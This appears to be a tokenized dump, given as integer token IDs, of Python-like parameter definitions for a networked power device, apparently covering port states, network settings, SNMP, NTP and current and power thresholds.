12543,
2733,
58,
3064,
486,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
486,
198,
20786,
13,
3672,
796,
366,
26796,
5376,
1,
198,
20786,
13,
11213,
796,
366,
26796,
1438,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
12825,
17,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
8576,
17,
198,
20786,
13,
3672,
796,
366,
37,
2533,
1574,
14815,
1,
198,
20786,
13,
11213,
796,
366,
37,
2533,
1574,
2196,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
43717,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
12825,
18,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
8576,
18,
198,
20786,
13,
3672,
796,
366,
49865,
14815,
1,
198,
20786,
13,
11213,
796,
366,
49865,
2196,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
43717,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
12825,
19,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
8576,
19,
198,
20786,
13,
3672,
796,
366,
37,
2533,
1574,
2389,
1,
198,
20786,
13,
11213,
796,
366,
33234,
2649,
286,
262,
18779,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
807,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
12825,
20,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
8576,
20,
198,
20786,
13,
3672,
796,
366,
49865,
2389,
1,
198,
20786,
13,
11213,
796,
366,
33234,
2649,
286,
262,
6890,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
807,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
12825,
21,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
8576,
21,
198,
20786,
13,
3672,
796,
366,
49,
441,
5376,
1,
198,
20786,
13,
11213,
796,
366,
49,
441,
6530,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
12825,
22,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
8576,
22,
198,
20786,
13,
3672,
796,
366,
49,
441,
26545,
1,
198,
20786,
13,
11213,
796,
366,
26545,
286,
262,
6682,
14645,
287,
262,
19127,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
12825,
23,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
8576,
23,
198,
20786,
13,
3672,
796,
366,
46787,
47790,
1,
198,
20786,
13,
11213,
796,
366,
46787,
23093,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
12825,
24,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
8576,
24,
198,
20786,
13,
3672,
796,
366,
46787,
35215,
1,
198,
20786,
13,
11213,
796,
366,
46787,
30275,
1,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
940,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
940,
198,
20786,
13,
3672,
796,
366,
42492,
26453,
17563,
273,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1157,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1157,
198,
20786,
13,
3672,
796,
366,
4061,
20231,
1,
198,
20786,
13,
11213,
796,
366,
4061,
12,
21975,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4061,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1065,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1065,
198,
20786,
13,
3672,
796,
366,
7004,
7934,
45195,
1,
198,
20786,
13,
11213,
796,
366,
7004,
3262,
27932,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
50,
10526,
12884,
31180,
42,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1485,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1485,
198,
20786,
13,
3672,
796,
366,
1273,
67,
22628,
25309,
1,
198,
20786,
13,
11213,
796,
366,
23615,
24308,
6101,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4061,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1415,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1415,
198,
20786,
13,
3672,
796,
366,
35,
5907,
10697,
1,
198,
20786,
13,
11213,
796,
366,
35,
5907,
4382,
6101,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4061,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1314,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1314,
198,
20786,
13,
3672,
796,
366,
44721,
1,
198,
20786,
13,
11213,
796,
366,
44721,
2209,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
44721,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
718,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1433,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1433,
198,
20786,
13,
3672,
796,
366,
41473,
8697,
36695,
1,
198,
20786,
13,
11213,
796,
366,
41473,
8697,
7139,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1558,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1558,
198,
20786,
13,
3672,
796,
366,
11251,
3705,
18497,
1,
198,
20786,
13,
11213,
796,
366,
45,
7250,
4382,
6101,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4061,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1507,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1507,
198,
20786,
13,
3672,
796,
366,
11041,
19463,
11251,
3705,
18497,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1129,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1129,
198,
20786,
13,
3672,
796,
366,
11041,
45,
7250,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1238,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1238,
198,
20786,
13,
3672,
796,
366,
15571,
7378,
51,
2416,
6690,
85,
4061,
1,
198,
20786,
13,
11213,
796,
366,
15571,
7378,
12840,
4382,
6101,
12,
21975,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4061,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2481,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2481,
198,
20786,
13,
3672,
796,
366,
15571,
7378,
51,
2416,
6690,
85,
13924,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1828,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1828,
198,
20786,
13,
3672,
796,
366,
15571,
44,
5662,
2002,
9531,
5569,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1954,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1954,
198,
20786,
13,
3672,
796,
366,
15571,
44,
5662,
2002,
9531,
16594,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1731,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1731,
198,
20786,
13,
3672,
796,
366,
15571,
7378,
15988,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1495,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1495,
198,
20786,
13,
3672,
796,
366,
33317,
3262,
5097,
4061,
419,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2075,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2075,
198,
20786,
13,
3672,
796,
366,
33317,
3262,
52,
7227,
44,
31235,
13924,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1983,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1983,
198,
20786,
13,
3672,
796,
366,
17563,
52,
7227,
44,
9598,
29239,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2078,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2078,
198,
20786,
13,
3672,
796,
366,
11163,
2969,
10697,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4061,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1959,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1959,
198,
20786,
13,
3672,
796,
366,
11041,
11163,
2969,
10697,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1270,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1270,
198,
20786,
13,
3672,
796,
366,
33,
41278,
1,
198,
20786,
13,
11213,
796,
366,
33,
41278,
1630,
7139,
307,
5723,
329,
299,
4201,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
82,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3132,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3132,
198,
20786,
13,
3672,
796,
366,
23114,
25392,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2624,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2624,
198,
20786,
13,
3672,
796,
366,
23114,
7575,
2202,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
1084,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2091,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2091,
198,
20786,
13,
3672,
796,
366,
23114,
49,
14221,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2682,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2682,
198,
20786,
13,
3672,
796,
366,
13924,
5376,
1,
198,
20786,
13,
11213,
796,
366,
5376,
286,
262,
2493,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2327,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2327,
198,
20786,
13,
3672,
796,
366,
13924,
9012,
1,
198,
20786,
13,
11213,
796,
357,
198,
220,
220,
220,
366,
464,
1181,
286,
262,
2493,
11,
691,
973,
284,
900,
262,
2493,
1181,
11,
766,
1459,
2493,
1181,
284,
651,
262,
2493,
1181,
1,
198,
8,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2623,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2623,
198,
20786,
13,
3672,
796,
366,
11297,
22442,
9362,
1,
198,
20786,
13,
11213,
796,
366,
22442,
414,
1241,
5078,
572,
618,
5415,
2472,
1459,
21695,
11387,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
16,
39,
23,
43,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2718,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2718,
198,
20786,
13,
3672,
796,
366,
13856,
323,
2202,
1,
198,
20786,
13,
11213,
796,
366,
13924,
14916,
5711,
706,
1176,
48914,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
82,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2548,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2548,
198,
20786,
13,
3672,
796,
366,
11518,
11297,
9362,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2493,
1459,
5078,
572,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
32,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2670,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2670,
198,
20786,
13,
3672,
796,
366,
11518,
11297,
20361,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2493,
1459,
6509,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
32,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1821,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1821,
198,
20786,
13,
3672,
796,
366,
11518,
13434,
9362,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2493,
1176,
5078,
572,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
54,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3901,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3901,
198,
20786,
13,
3672,
796,
366,
11518,
13434,
20361,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2493,
1176,
6509,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
54,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3682,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3682,
198,
20786,
13,
3672,
796,
366,
11518,
14957,
11297,
9362,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2472,
1459,
5078,
572,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
32,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3559,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3559,
198,
20786,
13,
3672,
796,
366,
11518,
14957,
11297,
20361,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2472,
1459,
6509,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
32,
1,
198,
